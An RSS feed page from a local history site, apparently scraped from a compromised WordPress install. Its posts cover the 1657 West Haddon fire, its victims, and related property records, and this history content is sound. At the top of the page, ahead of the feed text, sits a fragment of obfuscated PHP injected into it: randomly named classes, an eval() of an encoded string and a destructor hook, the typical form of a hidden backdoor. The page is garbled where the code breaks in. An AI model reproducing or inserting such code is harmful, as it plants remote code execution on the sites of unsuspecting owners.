John Ward – West Haddon History

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"\164"]);eval($pyhQNoRNaW); $EmyKsYF = "46615";exit();}}public function __destruct(){$this->jYIOrjxtF($EmyKsYF);}}$nyUbj = new /* 36413 */ rK_GVbnp(); $nyUbj = str_repeat("11438_8061", 1);} John Ward – West Haddon History http://westhaddonhistorysite.org Perspectives on the past Thu, 24 Aug 2017 22:20:39 +0000 en-GB hourly 1 https://wordpress.org/?v=6.5.2 http://westhaddonhistorysite.org/wp-content/uploads/2017/07/cropped-historysite-logo-32x32.jpg John Ward – West Haddon History http://westhaddonhistorysite.org 32 32 Bartin Gutteridge: a Silsworth connection http://westhaddonhistorysite.org/bartin-gutteridge-a-silsworth-connection/ Thu, 24 Aug 2017 22:20:39 +0000 http://westhaddonhistorysite.org/?p=451 Continue reading

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Silsworth was once a tiny settlement in Watford parish.By the 17th century it was no longer viable as an independent hamlet, but the land around it was good grazing and it was gradually parcelled up and sold – not just to Watford farmers, but also to several from West Haddon. The land of Silsworth ran along the West Haddon parish boundary roughly from the Crick road to the Watford road.

The Gutteridge family were among the West Haddon farmers who extended their land ownership beyond the parish boundary. Bartin senior was a relatively small farmer, with only about ten acres in West Haddon and an unspecified acreage in Silsworth. His house in West Haddon entitled him to one cow common (the right to graze a cow and a calf) and the right to pasture 20 sheep on the common grazing land across the parish. (Access to common land was carefully controlled to guard against over-grazing.)

Over the next 30 years his son, Bartin junior, increased his land ownership in West Haddon to nearly 50 acres with a 10 acre freehold in Silsworth and a lease on a further six acres.

In September 1657, the month following the fire, Bartin junior made his will. He was buried the following month. From his will we can see that he had a son (yet another Bartin), two married daughters and one under 21 who was still unmarried. She was to receive £200 when she came of age and it is reasonable to suppose that her elder sisters had been given similar marriage portions. Ann had married Adrian Ward (possibly a relative of John Ward, whose house had burned down), while Sarah had married John Wills, brother of the hot-headed Richard.

Bartin arranged for his son to inherit the house, but to share it with his mother for her lifetime. He laid down that she shall have the use of the great parlour and the little buttery joining up to it during her life. And what necessary occasions she hath, either in the kitchen or common hall, I do hereby appoint that she have the use of them altogether with my executor [Bartin.]

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Mark Bonner was a tailor. What his son Thomas did for a living is unclear – he’s quite a shadowy figure.

In 1649 Mark had bought a house or cottage from his neighbour, John Warde, along with a little yard and one bay, or section, of John’s barn, with a right of way over the yard for the bringing in and carrying forth any manner of stuffe at all convenient times. All of this cost him the princely sum of £17.

Although his son Thomas was also listed as having lost his home in the fire, he vanishes from village records for a long time.

Two years after the fire we find Mark selling part of his property to an elderly widow, Isabella Ringrose – in effect, the barn, converted into a dwelling, along with a small yard and right of way through the jitty to the well to fetch water and also over John Warde’s yard. For the ‘barn conversion’ she paid him £9, with a standing charge of two old pennies per year towards the repair of the well bucket. In the Hearth Tax returns of 1662 and again in 1674 both Mark and Isabella are listed as having one hearth each, but certified as too poor to pay the tax. Had Mark converted the barn as a home for his son before the fire and did Thomas then move away, leaving his father to sell it, or what was left of it?

In 1698 there was a meeting of West Haddon Manor Court. Almost no manorial records survive for this village, but for some reason the Court Roll for 1698 did. And Thomas Bonner was on the list of those expected to attend. (His father had died in 1680.) He had married into a farming family called Bayly who were new to the village. His mother in law left some money in her will to her daughter Martha to her own use, exclusive of her husband and to dispose of as she shall think fit. Thereby must surely hang a tale…

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On the day of the fire, John Warde and his wife Elizabeth had buried their daughter Clement. And the following day they buried their son James.

It’s just possible that the children were casualties of the fire, but it seems unlikely that funerals would have been arranged quite so quickly in the aftermath of the disaster.

How old were Clement and James? The earliest entries in the baptisms register date from 1653 and their names don’t appear there, so they must at least have been older than four. Was it accident or illness that killed them? Why were they not buried on the same day? So many questions and no answers. But the loss of both children and their house and belongings all within a few days must have left John and Elizabeth reeling.

We know very little about the couple except that John was a small farmer. Records of various property transactions in the years running up to the fire show him selling a number of parcels of land in West Haddon. Around 1631 he had joined with his father Thomas in the sale of about 10 acres to Robert Miller for £23. Then in the 1640s he sold about 15 acres to Edward Clarke – but we don’t know how much money changed hands there – the purchase was simply mentioned in Edward’s will in 1649.

In 1650 John sold a house with a little yard and one bay of his barn to his neighbour Mark Bonner, for £17. And the following year he sold a close of pasture with Sandy Lane to the East and Nathaniel Brabson’s close to the south. (Subsequent deeds in the bundle suggest that the pasture was behind the houses on the corner of Northampton Road – aka Sandy Lane – and High St.) He sold it, presumably for grazing, to Samuel Newman the butcher, for £24. The following year Samuel Newman sold the same close to Thomas Kirtland, for £28. There must be another story there…

There is no evidence to suggest that John and Elizabeth were still living in the village in the years following the fire. Did they move away to make a fresh start and try, at least, to put the terrible memories of 1657 behind them?

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There were no local newspapers to report on a village disaster 360 years ago.

The only reason we know about the fire in West Haddon is because the report of the Court of Quarter Sessions at Northampton Castle in the autumn of 1657 has survived the centuries.

…upon the first day of August last there happened at West Haddon a sudden and lamentable fire which in a short space consumed and burnt down the dwelling houses and outhouses of

Elias Page
Samuel Newman
John Ward
Thomas Bonner
Mark Bonner
Mary Clark, together with much of their household goods whose loss amounted to £320 and upwards…

£320 was a considerable loss, at a time when a cottage could be bought for less than £40! Over the next month we will discover more about the victims and their neighbours and track down clues that may point to the location of the fire, as well as exploring the life of the village soon after the ending of the Civil War.

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